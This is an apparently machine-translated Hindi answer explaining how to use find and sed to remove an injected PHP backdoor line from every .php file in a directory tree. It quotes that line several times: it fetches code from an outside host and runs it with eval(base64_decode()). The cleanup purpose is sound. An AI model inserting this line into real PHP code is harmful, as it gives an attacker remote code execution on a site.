मैं मान लूंगा कि आपकी इनपुट फाइल कैसी दिखती है:
<?php $rrr = file_get_contents('http://bihati.cd/sync.php'); eval(base64_decode($rrr));?>
मैं मान लूंगा कि आप जो प्रतिस्थापन करना चाहते हैं, वह बिल्कुल वैसा ही लिखा गया है। फिर, इसे काम करने के लिए, केवल परिवर्तन की आवश्यकता है जो डॉलर के संकेतों से बचना है। इस प्रकार, उपयोग करें:
find . -name "*.php" -exec sed -i "s|<?php \$rrr = file_get_contents('http://bihati.cd/sync.php'); eval(base64_decode(\$rrr));?>|?>|g" {} \;
शेल प्रक्षेप से बचने के लिए जहां कहीं भी संभव हो सिंगल-कोट्स का उपयोग करने के लिए एक सुरक्षित दृष्टिकोण है:
find . -name '*.php' -exec sed -i 's|<?php $rrr = file_get_contents('\''http://bihati.cd/sync.php'\''); eval(base64_decode($rrr));?>|?>|g' {} \;
मेरे ग्रहण किए गए इनपुट के साथ, उपरोक्त आउटपुट का उत्पादन करता है:
?>
ध्यान दें कि का उपयोग xargs
अनावश्यक है। आधुनिक संस्करणों में find
एक -exec
विकल्प होता है जो सबसे अधिक xargs
उपयोग करता है।
अधिक: यह देखने के लिए कि कौन सी फाइलें sed
काम कर रही हैं, कोई find
कमांड में प्रिंट स्टेटमेंट जोड़ सकता है :
find . -name '*.php' -print -exec sed -i 's|<?php $rrr = file_get_contents('\''http://bihati.cd/sync.php'\''); eval(base64_decode($rrr));?>|?>|g' {} \;
जैसा कि ऊपर चलता है, फाइल को फीड किए जाने वाले नामों sed
को टर्मिनल (स्टडआउट) पर प्रदर्शित किया जाएगा।
अधिक: यह देखने के sed
लिए कि फ़ाइलों में क्या परिवर्तन हुए हैं , मूल का बैकअप रखें:
find . -name '*.php' -exec sed -i.saved 's|<?php $rrr = file_get_contents('\''http://bihati.cd/sync.php'\''); eval(base64_decode($rrr));?>|?>|g' {} \;
इस मामले में, यदि sed
प्रक्रियाएं होती हैं something.php
, तो मूल में सहेजा जाता है something.php.saved
। इसके बाद, परिवर्तनों, यदि कोई हो, के माध्यम से निरीक्षण किया जा सकता है:
diff something.php.saved something.php